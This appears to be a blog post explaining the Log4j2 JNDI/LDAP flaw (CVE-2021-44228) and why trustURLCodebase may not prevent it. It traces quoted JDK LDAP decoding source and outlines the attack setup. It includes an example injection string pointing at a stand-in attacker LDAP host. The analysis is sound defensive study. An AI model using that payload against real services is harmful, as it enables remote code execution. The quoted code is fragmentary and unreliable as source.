Why trustURLCodebase may not save you from Log4j2 LDAP vulnerability (CVE-2021–44228)

What’s wrong with Log4j2?

  1. Spin up a server that returns a class definition — e.g. an HTTP one.
  2. Spin up an LDAP server that returns a URI to a class definition and a serialized object of the aforementioned class.
  3. Supply some data that will be logged directly (i.e. without any special symbols escaping) to a vulnerable app.
    E.g. there’s a microservice (well, it’s 2014+, so I don’t have much choice) that logs an HTTPS request’s query parameters via Log4j2, so an attacker sends LDAP URI similar to ${jndi:ldap://im-hacker.com/expl0it} as one of the query parameter of their request, and that does the trick — if #1 and #2 above are satisfied, that is.

How does LDAP lookup work in JDK?

* Decode an object from LDAP attribute(s).
* The object may be a Reference, or a Serialized object.
* See encodeObject() and encodeReference() for details on formats
* expected.
static Object decodeObject(Attributes attrs)
throws NamingException {

Attribute attr;

// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attr.get(), codebases);

if (attr != null &&
return decodeReference(attrs, codebases);
  1. In case javaSerializedData attr (JAVA_ATTRIBUTES[SERIALIZED_DATA]) is present — codebases is passed to com.sun.jndi.ldap.VersionHelper#getURLClassLoader, which honors trustURLCodebase Java property (see com.sun.jndi.ldap.VersionHelper#trustURLCodebase).
  2. In case javaRemoteLocation attr (JAVA_ATTRIBUTES[CLASSNAME]) is present — com.sun.jndi.ldap.Obj#decodeRmiObject is invoked.
  3. In case objectClass attr (JAVA_ATTRIBUTES[OBJECT_CLASS]) is present — com.sun.jndi.ldap.Obj#decodeReference is invoked.

Case #2

Attributes attrs;
try {
return DirectoryManager.getObjectInstance(obj, name,
this, envprops, attrs);

} catch (NamingException e) {
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
* Restore a Reference object from several LDAP attributes
private static Reference decodeReference(Attributes attrs,
String[] codebases) throws NamingException, IOException {

Attribute attr;
String className;
String factory = null;

Reference ref = new Reference(className, factory,
(codebases != null? codebases[0] : null));

* string encoding of a RefAddr is either:
* #posn#<type>#<address>
* or
* #posn#<type>##<base64-encoded address>
if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

String val, posnStr, type;
char separator;
int start, sep, posn;
Base64.Decoder decoder = null;

ClassLoader cl = helper.getURLClassLoader(codebases);
return (ref);

What to do?




Software Whatever from Kharkov, Ukraine.

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Alexander Kiselyov

Alexander Kiselyov

Software Whatever from Kharkov, Ukraine.

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